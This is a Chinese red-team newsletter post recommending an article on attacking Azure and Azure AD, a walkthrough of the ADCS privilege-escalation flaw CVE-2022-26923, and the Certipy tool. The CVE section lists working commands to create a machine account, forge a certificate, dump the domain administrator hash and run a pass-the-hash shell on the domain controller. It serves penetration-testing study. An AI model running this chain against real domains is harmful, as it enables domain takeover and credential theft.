蓝军技术推送

[文章推荐] Attacking Azure,Azure AD,and Introducing PowerZure

文章看点：Azure是微软的一个在线服务平台，此平台最初仅提供PaaS（平台即服务），后又发展成为，IaaS（基础架构即服务）和SaaS（软件即服务）。在企业中，主要方便企业人员使用包括微软office 365在内的一些微软功能。为了使用这些功能，企业运维人员需要通过将Azure和本地的AD连接，使包括office 365的微软功能能进行身份认证。

此文章结合XPN、Dirk-jan等前人的研究，总结了Azure的相关功能，及利用方法。

推送亮点：微软Azure在许多企业中都有出现，在渗透中，也曾因为对其相关功能不了解导致权限的丢失，此文章详细介绍了微软Azure的相关攻击面。同时，Azure也是能直接攻击域控的一种方式，目前已经将此方法同步至github。

原文链接：https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a

其他Azure相关链接：https://blog.xpnsec.com/azuread-connect-for-redteam/

https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf

[漏洞播报] CVE-2022-26923（ADCS域提权漏洞）

漏洞概述：ADCS服务在windows域中，充当Microsoft的公钥基础结构PKI实现，主要提供windows证书相关的功能，包括证书的注册、分发、管理等功能。并且在windows域中，也能通过证书来进行kerebros认证。

此漏洞受Nopac利用思路的影响，将Nopac中Kerberos认证相关的问题，转向证书认证相关的问题。此漏洞通过将机器账户dNSHostName属性的值修改成与域控一样的方法，来获取域控的机器账户hash，从而获取域控的DCSync权限（目前已经将此方法同步至github）

漏洞复现：

1、创建机器账号

python3 addcomputer.py 'qwe.local/user:Qweqwe123' -method LDAPS -computer-name 'USERPC' -computer-pass 'Qweqwe123'

2、查看新建机器账号属性

利用LDAP browser工具，以普通域账号登录，查看新建USERPC$的账号属性。

3、删除域控所识别的SPN

4、伪造域控机器名

在Domain Controllers组中查看域控机器名，并修改新建用户的dNSHostName为域控机器名。

5、使用机器账号模版申请新证书

certipy req 'qwe.local/USERPC$:[email protected]' -ca CA -template Machine

6、利用新证书通过Kerberos 的 PKINIT 协议扩展获取用户hash

certipy auth -pfx suger0bfa.pfx

7、利用DC机器用户hash dump域管hash

python3 secretsdump.py qwe.local/[email protected] -hashes 0:693d3438cf76c79eafd1ee5c2dfa0e77 -just-dc-user administrator

成功获取DC权限

python3 wmiexec.py qwe.local/[email protected] whoami -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

漏洞链接：https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

其他ADCS相关链接：https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://posts.specterops.io/certified-pre-owned-d95910965cd2

[安全工具] Certity

功能描述：windows ADCS滥用利用工具，通过此工具，可以结合impacket，在linux下对ADCS进行相关攻击。

推送亮点：ADCS漏洞学习工具，相比于windows端的工具，python类的windows工具对漏洞利用原理会更加深刻（无法调用win32 api）。此攻击也是adcs域提权漏洞利用的主要工具。

工具链接：https://github.com/ly4k/Certipy

原文始发于微信公众号（JDArmy）：蓝军技术推送-windows域专题(Azure、ADCS)